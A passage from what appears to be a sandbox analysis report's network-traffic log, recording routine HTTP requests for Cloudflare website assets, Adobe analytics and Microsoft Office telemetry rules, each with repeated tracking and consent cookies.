AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insights/
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/26kszL2y2X7zTR2edZPDUY/1a9d00bc8c441346e6dd06bd82204972/logo_ncr_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/3JniCZlkcKI9iHgormG8j3/b94cf97c93844f2db74d566fc512aef1/logo_thomson-reuters_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=f6b6051c-d6f1-4d46-89a7-e5443d9b5a51 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /brandfolder/logo_lending-tree.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com/p/insights/c/u; cfzs_google-analytics_v4=%7B%22nzcr_conve
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5wB2WP2bwo7zdgVhToslhe/447d1f23d1b8ac77e61e2819465f58fe/ease-of-use-toggle.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25252F%2526link%253DUnder%252520attack%25253F%2526region%253DrightNav%2526.activitymap%2526.a%2526.c; _uetvid=4bfadd708bd711efa979cd1425ce6efd\|1yww5uz\|1729094234471\|2\|1\|bat.bing.com
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/7vSmQwpXxBBSUXvax4mTTj/1e9733d09150035751acd28962d65831/optimization-scale.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; 